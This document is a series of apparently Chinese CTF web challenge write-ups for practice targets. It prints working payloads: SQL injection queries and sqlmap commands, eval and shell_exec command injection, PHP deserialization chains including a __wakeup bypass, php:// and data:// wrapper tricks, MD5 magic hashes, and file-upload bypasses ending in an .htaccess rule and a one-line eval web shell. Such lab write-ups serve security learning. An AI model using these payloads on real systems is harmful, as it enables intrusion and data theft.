NSSCTF{http}
(1)分析源码:
<?php
include 'utils.php';
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if ($guess === $secret) { //不知道secret是什么,所以不能post
$message = 'Congratulations! The flag is: ' . $flag;
} else {
$message = 'Wrong. Try Again';
}
}
/*
$_SERVE[‘PHP_SELF’] 读取的是当前执行脚本的文件名
www.errorr0.com/errorr1/errorr2/ 执行后 /errorr1/errorr2/index.php
www.errorr0.com/errorr1/errorr2/index.php 执行后 /errorr1/errorr2/index.php
www.errorr0.com/errorr1/errorr2/flag.php 执行后 /errorr1/errorr2/flag.php
www.errorr0.com/errorr1/errorr2/index.php?key=value 执行后 index.php
*/
if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) { //正则1
exit("hacker :)");
}
/*
$_SERVER['REQUEST_URI']是取得当前URL的路径地址,剔除域名剩下的。
*/
if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){ //正则2
exit("hacker :)");
}
/*
basename()是返回当前路径下文件名。
highlight_file()是读取文件内容。
*/
if (isset($_GET['show_source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}else{
show_source(__FILE__);
}
?>
//综上:
(1)要构造payload来使得读取到utils.php(源码头提示的)
(2)使basename($_SERVER['PHP_SELF'])值为utils.php,即$_SERVER['PHP_SELF']为***/utils.php
(3)然后,basename这个值就会为utils.php再然后就highlight_file读取到文件。
(4)绕过正则1,正则2。
(5)绕过正则1:只要在后面加个非ASCII码的东西就可以绕过。
(6)绕过正则2:只要用show[source或者show.source绕过,记住即可。
payload:/index.php/utils.php/%88?show[source=1
NSSCTF{welcometo5space}
(1)查看源码,发现参数是wllm,输入,有回显
/?wllm=1 //有回显
/?wllm=1' //报错,字符串注入
(2)查看字节数
/?wllm=-1' order by 3 --+
/?wllm=-1' order by 4 --+ //有报错,字符数为3
(3)查询数据库名
/?wllm=-1' union select 1,2,database();
(4)查询表名
/?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where schema_name=database();
(5)查询列名
/?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb';
(6)获取flag
/?wllm=-1' union select 1,2,group_concat(flag) from test_tb;
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['url'])){
eval($_GET['url']);
}
?>
(1)输入: ?url=system('ls /');
(2)输入: ?url=system('cat /flllllaaaaaaggggggg');
(1)Cookie:admin=1,记得在cookie修改。
<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1)
{
include "../next.php";
}
else
echo "小饼干最好吃啦!";
?> 小饼干最好吃啦!
<?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
$ip=$_GET['url'];
if(preg_match("/ /", $ip)){
die('nonono');
}
$a = shell_exec($ip);
echo $a;
}
?>
步骤:
(1)?url=ls /;
//失败,过滤了空格;
(2)?url=ls${IFS}/
//发现flllllaaaaaggggg
(3)?url=cat${IFS}/flllllaaaaaaggggggg;
//获得flag
查看代码,发现要POST id 和 GET json,但是json[‘x’]=="wllm"发现直接传GET失败,所以修改,就可以获取flag。
POST: id=wllmNB
GET: json={“x”:“wllm”}
<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>
从码源上看出,GET name 和 POST id 值不相等,md5值相等时,发现flag
if (isset($_GET['name']) && isset($_POST['password'])){
$name = $_GET['name'];
$password = $_POST['password'];
if ($name != $password && md5($name) == md5($password)){
echo $flag;
}
else {
echo "wrong!";
}
}
else {
echo 'wrong!';
}
(1)首先是找不到题目的,查看源码,发现下面,这句话,访问 /robots.txt,发现有一个 /cl45s.php,访问。
<!--User-agent: *Disallow: 什么东西呢?-->
(2)访问 /cl45s.php 后发现源码,是反序列化,运行脚本,payload,获得flag。
//源码
<?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
?>
//脚本
<?php
class wllm{
public $admin="admin";
public $passwd="ctf";
}
$p = new wllm();
echo serialize($p);
?>
//payload
?p= O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
也可以抓包修改值
(1)代码:
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");
class HaHaHa{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __wakeup(){
$this->passwd = sha1($this->passwd);
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
?>
(1)分析:多了一个wakeup函数,但该函数有一个漏洞CVE-2016-7124的漏洞,即当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。
(2)运行脚本:
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");
class HaHaHa{
public $admin="admin";
public $passwd="wllm";
}
$a = new HaHaHa();
echo serialize($a);
?>
(3)payload: ?p=O:6:“HaHaHa”:3:{s:5:“admin”;s:5:“admin”;s:6:“passwd”;s:4:“wllm”;}
?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
//原本的样子是?p=O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
(1)上传 1.png 成功,上传 1.php 失败,尝试php3,Php,phtml,发现 .phtml 可以。
(2)连接蚁剑,获得flag。
(1)上传 1.png 成功,上传 1.phtml 失败,但是发现Content-Type: application/octet-stream,所以修改Content-Type: image/png。
(2)连接蚁剑,获取的flag是错的!!!!!!!
(3)查看 /upload/1.phtml/phpinfo(); 获取flag。
(1)看题目提示咯!上传 .htaccess ,成功。
(2)上传 1.png ,成功。
(3)连接蚁剑,获取flag。
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?> NSSCTF{00cb989c-4c2c-442a-9a23-d7d1891f7ed6}
运行脚本:
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$a = new w22m(); //新建w22m对象
$a->w00m = new w33m(); //将w22m指针给w00m
$a->w00m->w00m=new w44m(); //w00m是w33m对象,w22m是Getflag
$a->w00m->w22m='Getflag'; //调用Getflag函数
echo urlencode(serialize($a));
?>
payload:
/?w00m=O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D
(1)输入:1 -------返回正常
(2)输入:1’ ------报错
(3)输入:1’ order by 3# ----返回正常
(4)输入:1’ order by 4# ----报错
(5)输入:1’ union select 1,2,3 # ----报错
(6)输入:-1’ union select 1,2,extractvalue(1,concat(0x7e,database()))#
(7)跑sqlmap
python sqlmap.py -u “http://1.14.71.254:28218/index.php?id=1” --dbs
python sqlmap.py -u “http://1.14.71.254:28218/index.php?id=1” -D test_db --tables
python sqlmap.py -u “http://1.14.71.254:28218/index.php?id=1” -D test_db -T test_tb --columns
python sqlmap.py -u “http://1.14.71.254:28218/index.php?id=1” -D test_db -T test_tb -C flag --dump
(1)输入:1,发现有回显。
(2)输入:1;show tables; 发现有Flag。
(3)输入:1;show columns from Flag; 报错啊!
(4)输入:*,1 获取flag。
百度了!
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "
"
.file_get_contents($text,'r')."";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
(1)下面这句if是如果text=welcome to the zjctf的话,就执行下一步。但是有file_get_contents存在,用data伪协议绕过。
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
//payload: text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
(2)第二句if是如果file=useless.php,用file伪协议绕过。
if(preg_match("/flag/",$file))
//payload: file=php://filter/read=convert.base64-encode/resource=useless.php
//其实也不用,也可以直接是: file=useless.php
(3)用反序列话,运行脚本,最终的payload。
$password = unserialize($password);
脚本:
<?php
class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a = new Flag();
echo serialize($a);
?>
(4)最后的payload,查看源码,获得flag。
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
<?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
if(isset($_POST['b1'])&&$_POST['b2']){
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
echo $flag;
}else{
echo "yee";
}
}else{
echo "nop";
}
}else{
echo "go on";
}
}else{
echo "let's get some php";
}
?>
(1)分析代码,要有a,b1,b2,c1,c2。
(2)a直接用数组绕过即可,没有什么。
(3)b1,b2,值不一样,md5希哈值一样就可以,所以用数组绕过也可以。
(4)c1,c2,值不一样,md5希哈值一样,但是有一个 is_string 函数,说如果指定变量为字符串,则返回 TRUE,否则返回 FALSE。所以c1和c2无法用数组绕过了。用常见的MD5绕过。
POST:a[]=1&b1[]=1&b2[]=2&c1=QNKCDZO&c2=s878926199a
常用MD5数值
QNKCDZO -- 0e830400451993494058024219903391
s878926199a -- 0e545993274517709034328855841020
s155964671a -- 0e342768416822451524974117254469
s214587387a -- 0e848240448830537924465865611904
s214587387a -- 0e848240448830537924465865611904
s878926199a -- 0e545993274517709034328855841020
s1091221200a -- 0e940624217856561557816327384675
s1885207154a -- 0e509367213418206700842008763514
240610708 -- 0e462097431906509019562988736854
(1)上传,发现 . 被过滤了,然后上传带 . 都不行。
(2)查看源码,发现source,下载,分析代码,发现,可以恶意上传 //flag 文件执行查询。
from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid
app = Flask(__name__)
SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""
def db():
g_db = getattr(g, '_database', None)
if g_db is None:
g_db = g._database = sqlite3.connect("database.db")
return g_db
@app.before_first_request
def setup():
os.remove("database.db")
cur = db().cursor()
cur.executescript(SCHEMA)
@app.route('/')
def hello_world():
return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name="file">
<input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""
@app.route('/source')
def source():
return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)
@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return redirect('/')
file = request.files['file']
if "." in file.filename:
return "Bad filename!", 403
conn = db()
cur = conn.cursor()
uid = uuid.uuid4().hex
try:
cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
except sqlite3.IntegrityError:
return "Duplicate file"
conn.commit()
file.save('uploads/' + file.filename)
return redirect('/file/' + uid)
//查询语句
@app.route('/file/' )
def file(id):
conn = db()
cur = conn.cursor()
cur.execute("select path from files where id=?", (id,))
res = cur.fetchone()
if res is None:
return "File not found", 404
# print(res[0])
with open(os.path.join("uploads/", res[0]), "r") as f:
return f.read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
(1)看题目提示咯!上传 .htaccess ,成功。
(2)上传 1.png ,失败,尝试jpg,jpeg,jpeg成功。
(3)连接蚁剑,获取flag。
//.htaccess
<FilesMatch "1.jpeg">
SetHandler application/x-httpd-php
</FilesMatch>
//1.jpeg
<script language='php'>@eval($_POST[1]);</script>